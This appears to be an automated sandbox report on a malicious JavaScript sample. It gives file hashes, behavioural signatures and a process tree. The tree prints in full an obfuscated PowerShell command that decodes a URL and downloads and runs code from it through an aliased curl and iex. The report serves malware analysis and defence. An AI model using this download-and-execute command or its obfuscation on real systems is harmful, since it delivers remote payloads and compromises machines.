Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
12/09/2026, 11:19
Static task
static1
Behavioral task
behavioral1
Sample
jaffacakes118_19df9a65778ad0aa9a55477a359f17b346c0304c15446541eae6e66cc1e1e71f.js
Resource
win10v2004-20260911-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
jaffacakes118_19df9a65778ad0aa9a55477a359f17b346c0304c15446541eae6e66cc1e1e71f.js
Resource
win11ltsc2024-20260911-en
5 signatures
150 seconds
General
- Target jaffacakes118_19df9a65778ad0aa9a55477a359f17b346c0304c15446541eae6e66cc1e1e71f.js
- Size 200KB
- Sample260912-neyekafr21
- SHA256 19df9a65778ad0aa9a55477a359f17b346c0304c15446541eae6e66cc1e1e71f
- MD5 deb589aa0993145028e0761085fb86ab
- SHA1 d817608f0ef0c3a81e4c963a073bc0a887641696
- SHA512 fe844c4e6e05e5dd3ba2361c4449eca9a3bec251e8a44ab9a32d37f9377e77e1fa0ced059eff99a2d8a745404d7c0ed5c92d569d570a61cca2f0152ed7c0b157
- SSDEEP 1536:LNRge3TskJkM6d+hX51NuYpASQWB3TskJkM6d7hX51NuYpASQWrhX51NuYpASQWc:xnVu7sJeyVu7dJeyJeMVu72Vu7b
- TLSH T13614B67BB786333508E3A355364E35ED6214D130A276876038DFA12D279546CCBBBBE2
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4816 4652 conhost.exe 84 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 5820 powershell.exe 5820 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5820 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 4816 wrote to memory of 5820 4816 conhost.exe 86
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_19df9a65778ad0aa9a55477a359f17b346c0304c15446541eae6e66cc1e1e71f.js1⤵PID:4644
-
C:\Windows\system32\conhost.execonhost --headless powershell $reuiahvpfcmoy='ur' ;new-alias printout c$($reuiahvpfcmoy)l;$yikrtgaqsdej=(127,139,151,150,130,148,145,143,130,146,132,127,133,127,148,75,145,140,141,76,78,75,141,133,141,92,144,90,138,134,139,145,144,79,78);$wbhfayzcdjeuk=('bronx','get-cmdlet');$gktrinavpdmhoj=$yikrtgaqsdej;foreach($mvkopyiweznbjh in $gktrinavpdmhoj){$zylamqdrni=$mvkopyiweznbjh;$mzwvqgo=$mzwvqgo+[char]($zylamqdrni-29);$tikuycfdbmgpzh=$mzwvqgo; $bfkjtngil=$tikuycfdbmgpzh};$uytdzfkgejh[2]=$bfkjtngil;$jmpgwvxqbsn='rl';$vhreqicgmxfbad=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bfkjtngil)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4816 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $reuiahvpfcmoy='ur' ;new-alias printout c$($reuiahvpfcmoy)l;$yikrtgaqsdej=(127,139,151,150,130,148,145,143,130,146,132,127,133,127,148,75,145,140,141,76,78,75,141,133,141,92,144,90,138,134,139,145,144,79,78);$wbhfayzcdjeuk=('bronx','get-cmdlet');$gktrinavpdmhoj=$yikrtgaqsdej;foreach($mvkopyiweznbjh in $gktrinavpdmhoj){$zylamqdrni=$mvkopyiweznbjh;$mzwvqgo=$mzwvqgo+[char]($zylamqdrni-29);$tikuycfdbmgpzh=$mzwvqgo; $bfkjtngil=$tikuycfdbmgpzh};$uytdzfkgejh[2]=$bfkjtngil;$jmpgwvxqbsn='rl';$vhreqicgmxfbad=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bfkjtngil)2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5820
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zxrz0nwy.syb.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH